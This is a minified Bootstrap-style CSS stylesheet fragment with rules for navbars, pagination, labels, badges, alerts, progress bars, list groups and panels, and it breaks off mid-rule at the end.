.navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:14.5px 15px;font-size:19px;line-height:21px;height:50px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:0}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.25px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:21px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:21px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:14.5px;padding-bottom:14.5px}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:3.5px;margin-bottom:3.5px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-right-radius:0;border-top-left-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:3.5px;margin-bottom:3.5px}.navbar-btn.btn-sm{margin-top:9.5px;margin-bottom:9.5px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:14.5px;margin-bottom:14.5px}@media (min-width:768px){.navbar-text{float:left;margin-left:15px;margin-right:15px}}@media (min-width:768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#222222;border-color:#121212}.navbar-default .navbar-brand{color:#ffffff}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-default .navbar-text{color:#ffffff}.navbar-default .navbar-nav>li>a{color:#ffffff}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#cccccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:transparent}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#090909}.navbar-default .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#121212}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#090909;color:#ffffff}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#cccccc;background-color:transparent}}.navbar-default .navbar-link{color:#ffffff}.navbar-default .navbar-link:hover{color:#ffffff}.navbar-default .btn-link{color:#ffffff}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#ffffff}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#cccccc}.navbar-inverse{background-color:#2780e3;border-color:#1967be}.navbar-inverse .navbar-brand{color:#ffffff}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-inverse .navbar-text{color:#ffffff}.navbar-inverse .navbar-nav>li>a{color:#ffffff}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#ffffff;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:transparent}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#1967be}.navbar-inverse .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#1a6ecc}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#1967be;color:#ffffff}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ffffff;background-color:transparent}}.navbar-inverse .navbar-link{color:#ffffff}.navbar-inverse .navbar-link:hover{color:#ffffff}.navbar-inverse .btn-link{color:#ffffff}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#ffffff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#ffffff}.breadcrumb{padding:8px 15px;margin-bottom:21px;list-style:none;background-color:#f5f5f5;border-radius:0}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#cccccc}.breadcrumb>.active{color:#999999}.pagination{display:inline-block;padding-left:0;margin:21px 0;border-radius:0}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:10px 18px;line-height:1.42857143;text-decoration:none;color:#2780e3;background-color:#ffffff;border:1px solid #dddddd;margin-left:-1px}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:0;border-top-left-radius:0}.pagination>li:last-child>a,.pagination>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{color:#165ba8;background-color:#e6e6e6;border-color:#dddddd}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#999999;background-color:#f5f5f5;border-color:#dddddd;cursor:default}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999999;background-color:#ffffff;border-color:#dddddd;cursor:not-allowed}.pagination-lg>li>a,.pagination-lg>li>span{padding:18px 30px;font-size:19px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:0;border-top-left-radius:0}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:13px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:0;border-top-left-radius:0}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pager{padding-left:0;margin:21px 0;list-style:none;text-align:center}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#ffffff;border:1px solid #dddddd;border-radius:0}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#e6e6e6}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999999;background-color:#ffffff;cursor:not-allowed}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:bold;line-height:1;color:#ffffff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:hover,a.label:focus{color:#ffffff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#222222}.label-default[href]:hover,.label-default[href]:focus{background-color:#090909}.label-primary{background-color:#2780e3}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#1967be}.label-success{background-color:#3fb618}.label-success[href]:hover,.label-success[href]:focus{background-color:#2f8912}.label-info{background-color:#9954bb}.label-info[href]:hover,.label-info[href]:focus{background-color:#7e3f9d}.label-warning{background-color:#ff7518}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#e45c00}.label-danger{background-color:#ff0039}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#cc002e}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:13px;font-weight:bold;color:#ffffff;line-height:1;vertical-align:baseline;white-space:nowrap;text-align:center;background-color:#2780e3;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge{top:0;padding:1px 5px}a.badge:hover,a.badge:focus{color:#ffffff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#2780e3;background-color:#ffffff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px 15px;margin-bottom:30px;color:inherit;background-color:#e6e6e6}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:23px;font-weight:200}.jumbotron>hr{border-top-color:#cccccc}.container .jumbotron,.container-fluid .jumbotron{border-radius:0}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding:48px 0}.container .jumbotron,.container-fluid .jumbotron{padding-left:60px;padding-right:60px}.jumbotron h1,.jumbotron .h1{font-size:67.5px}}.thumbnail{display:block;padding:4px;margin-bottom:21px;line-height:1.42857143;background-color:#ffffff;border:1px solid #dddddd;border-radius:0;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{margin-left:auto;margin-right:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#2780e3}.thumbnail .caption{padding:9px;color:#333333}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:0}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:bold}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{background-color:#3fb618;border-color:#4e9f15;color:#ffffff}.alert-success hr{border-top-color:#438912}.alert-success .alert-link{color:#e6e6e6}.alert-info{background-color:#9954bb;border-color:#7643a8;color:#ffffff}.alert-info hr{border-top-color:#693c96}.alert-info .alert-link{color:#e6e6e6}.alert-warning{background-color:#ff7518;border-color:#ff4309;color:#ffffff}.alert-warning hr{border-top-color:#ee3800}.alert-warning .alert-link{color:#e6e6e6}.alert-danger{background-color:#ff0039;border-color:#f0005e;color:#ffffff}.alert-danger hr{border-top-color:#d60054}.alert-danger .alert-link{color:#e6e6e6}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{overflow:hidden;height:21px;margin-bottom:21px;background-color:#cccccc;border-radius:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress-bar{float:left;width:0%;height:100%;font-size:13px;line-height:21px;color:#ffffff;text-align:center;background-color:#2780e3;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease}.progress-striped .progress-bar,.progress-bar-striped{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress.active .progress-bar,.progress-bar.active{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#3fb618}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-info{background-color:#9954bb}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-warning{background-color:#ff7518}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-danger{background-color:#ff0039}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{zoom:1;overflow:hidden}.media-body{width:10000px}.media-object{display:block}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-left,.media-right,.media-body{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{margin-bottom:20px;padding-left:0}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#ffffff;border:1px solid #dddddd}.list-group-item:first-child{border-top-right-radius:0;border-top-left-radius:0}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}a.list-group-item{color:#555555}a.list-group-item .list-group-item-heading{color:#333333}a.list-group-item:hover,a.list-group-item:focus{text-decoration:none;color:#555555;background-color:#f5f5f5}.list-group-item.disabled,.list-group-item.disabled:hover,.list-group-item.disabled:focus{background-color:#e6e6e6;color:#999999;cursor:not-allowed}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text{color:#999999}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{z-index:2;color:#ffffff;background-color:#2780e3;border-color:#dddddd}.list-group-item.active .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>.small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:hover .list-group-item-text,.list-group-item.active:focus .list-group-item-text{color:#dceafa}.list-group-item-success{color:#ffffff;background-color:#3fb618}a.list-group-item-success{color:#ffffff}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,a.list-group-item-success:focus{color:#ffffff;background-color:#379f15}a.list-group-item-success.active,a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-info{color:#ffffff;background-color:#9954bb}a.list-group-item-info{color:#ffffff}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,a.list-group-item-info:focus{color:#ffffff;background-color:#8d46b0}a.list-group-item-info.active,a.list-group-item-info.active:hover,a.list-group-item-info.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-warning{color:#ffffff;background-color:#ff7518}a.list-group-item-warning{color:#ffffff}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,a.list-group-item-warning:focus{color:#ffffff;background-color:#fe6600}a.list-group-item-warning.active,a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-danger{color:#ffffff;background-color:#ff0039}a.list-group-item-danger{color:#ffffff}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,a.list-group-item-danger:focus{color:#ffffff;background-color:#e60033}a.list-group-item-danger.active,a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:21px;background-color:#ffffff;border:1px solid transparent;border-radius:0;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.05);box-shadow:0 1px 1px rgba(0,0,0,0.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:-1;border-top-left-radius:-1}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:17px;color:inherit}.panel-title>a,.panel-title>small,.panel-title>.small,.panel-title>small>a,.panel-title>.small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #dddddd;border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-right-radius:-1;border-top-left-radius:-1}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.table,.panel>.table-responsive>.table,.panel>.panel-collapse>.table{margin-bottom:0}.panel>.table caption,.panel>.table-responsive>.table caption,.panel>.panel-collapse>.table caption{padding-left:15px;padding-right:15px}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-right-radius:-1;border-top-left-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child{border-top-left-radius:-1;border-top-right-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:-1}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-left-radius:-1;border-bottom-right-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:-1}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #dddddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-